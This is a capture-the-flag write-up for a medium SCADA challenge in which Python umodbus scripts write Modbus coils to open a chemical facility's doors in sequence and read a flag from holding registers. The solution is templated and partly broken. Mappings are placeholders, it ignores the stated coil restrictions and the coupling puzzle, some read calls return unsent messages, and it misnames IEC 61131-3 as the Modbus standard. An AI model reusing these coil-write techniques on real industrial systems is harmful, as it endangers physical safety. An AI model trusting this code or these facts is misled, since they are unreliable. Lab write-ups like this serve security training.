2023 Business CTF: Breach

Challenge Information

AttributeDetails
Event2023 Business CTF
CategorySCADA/ICS
ChallengeBreach
DifficultyMedium

Summary

Breach is a medium-level SCADA exploitation challenge involving a Modbus-based door control system for a chemical processing facility. The facility uses a unique multi-door system where sensors are hardwired to output coils. The goal is to manipulate the door sequence by exploiting this sensor-coil relationship to achieve facility infiltration and retrieve sensitive information from Modbus registers.


Challenge Information

The challenge description states:

“Our relentless search led us to a secure testing site, a hub for concocting chemicals used in planet terraforming. Given its critical nature, a unique door system segregates the entire facility, allowing only a single door to open before a decontamination process ensues. Currently, the control sensors seem to be inoperative, keeping the system idle. Intriguingly, someone seems to have hardwired the sensor inputs to the output coils. Perhaps, this might be our entry point into the building.”

Mission Objectives

  1. Achieve the correct door opening sequence: [door_3, door_0, door_4, door_1, door_2]
  2. Maintain the sequence (doors must open sequentially)
  3. Avoid triggering the decontamination process
  4. Extract the flag from Modbus holding registers (starting at address 4)

System Reset

The system will reset automatically approximately 2 minutes after mission completion.


Analysis

SCADA System Architecture

The facility uses a Modbus network for door control with the following components:

  • Modbus Server: Runs on TCP port 502 (standard Modbus port)
  • Door Control Coils: Output coils that control door locks
  • Sensors: Input registers/discrete inputs that reflect door status
  • Hardwired Coupling: Sensors are electrically coupled to coils

Modbus Protocol Overview

Modbus is an industrial protocol for controlling equipment:

Standard Registers:

  • Discrete Inputs (Read-only): Digital input status
  • Coils (Read/Write): Digital output control
  • Input Registers (Read-only): Analog inputs
  • Holding Registers (Read/Write): Configuration and analog outputs

Door Control Logic

The system uses:

  • Coils for door control (set coil = open door)
  • Sensors/inputs reflecting door state
  • Hardwired coupling between sensors and coils

Critical Insight: Since sensors are hardwired to coils, writing to the coil affects the sensor reading, creating a feedback system.

Challenge Constraints

  • Coil Access: Coils are restricted and cannot be directly written for most doors
  • Sensor Coupling: Writing to one coil affects multiple sensors due to hardwiring
  • Sequential Requirement: Doors must open in exact order: door_3 → door_0 → door_4 → door_1 → door_2
  • Timeout: ~2 minutes to complete the sequence

Solution

Step 1: Establish Modbus Connection

Connect to the Modbus server using Python and umodbus library:

#!/usr/bin/python3
import socket
from time import sleep
from umodbus import conf
from umodbus.client import tcp
# Adjust modbus configuration
conf.SIGNED_VALUES = True
# Create a socket connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 502)) # Connect to Modbus server

Step 2: Enumerate Modbus Registers

Read the available registers to understand the door mapping:

# Read coils to understand current state
coils = tcp.read_coils(1, 0, 10, sock) # Read first 10 coils
# Read holding registers
registers = tcp.read_holding_registers(1, 0, 10, sock)
# Read input registers to see sensors
inputs = tcp.read_input_registers(1, 0, 10, sock)

Step 3: Identify Door-Coil Mapping

Through testing, determine which coils correspond to which doors:

  • door_0 → coil X
  • door_1 → coil Y
  • door_2 → coil Z
  • door_3 → coil A
  • door_4 → coil B

Step 4: Execute the Door Sequence

Following the required sequence [door_3, door_0, door_4, door_1, door_2], manipulate the coils in order:

# Sequence: door_3, door_0, door_4, door_1, door_2
sequence = [
(3, True), # door_3
(0, True), # door_0
(4, True), # door_4
(1, True), # door_1
(2, True), # door_2
]
for door_id, action in sequence:
coil_address = door_id # Adjust based on actual mapping
# Write to coil to open door
command = tcp.write_single_coil(1, coil_address, 1 if action else 0)
tcp.send_message(command, sock)
# Wait for door to open
sleep(1)
# Verify door opened by reading sensors
status = tcp.read_discrete_inputs(1, coil_address, 1, sock)
print(f"Door {door_id} opened: {status}")
# Brief delay before next door
sleep(0.5)

Step 5: Retrieve the Flag

Once the sequence is complete, read the flag from holding registers starting at address 4:

# Read holding registers starting at address 4
# Flag is typically stored as ASCII values in consecutive registers
flag_registers = tcp.read_holding_registers(1, 4, 20, sock)
# Convert register values to ASCII characters
flag = ''
for register_value in flag_registers:
if register_value > 0 and register_value < 256:
flag += chr(register_value)
print(f"Flag: {flag}")
# Close connection
sock.close()

Step 6: Handle Sensor-Coil Coupling

Account for the hardwired sensor-coil relationship:

def manipulate_system():
"""
The hardwired coupling means:
- Writing to one coil affects its corresponding sensor
- Other sensors may also be affected due to parallel wiring
- Need to carefully sequence operations to reach goal state
"""
# Read current sensor state
sensors = tcp.read_discrete_inputs(1, 0, 10, sock)
# Identify which doors are affected
for i, sensor_state in enumerate(sensors):
print(f"Sensor {i}: {'Active' if sensor_state else 'Inactive'}")
# Manipulate coils based on sensor state
# This requires understanding the circuit topology

Modbus Command Reference

FunctionCodePurpose
Read Coils01Read discrete outputs (door controls)
Read Discrete Inputs02Read discrete inputs (sensors)
Read Holding Registers03Read/write holding registers
Read Input Registers04Read analog inputs
Write Single Coil05Control a single door
Write Single Register06Write to register
Write Multiple Coils15Control multiple doors
Write Multiple Registers16Write multiple registers

Key Takeaways

  • Modbus Security: Modbus lacks authentication; access control is physical only
  • ICS Vulnerabilities: Industrial systems often have non-standard security assumptions
  • Hardwired Systems: Understanding physical wiring is as important as software logic
  • Timing Attacks: Sequential system requirements create timing-based attack vectors
  • Protocol Analysis: Use tools like Wireshark to analyze Modbus traffic
  • Testing: Test systems should be as secure as production systems

Tools and Resources

  • umodbus: Python library for Modbus communication
  • Wireshark: Network traffic analysis for Modbus debugging
  • Modbus Specification: IEC 61131-3 standard documentation
  • libmodbus: C library for Modbus implementation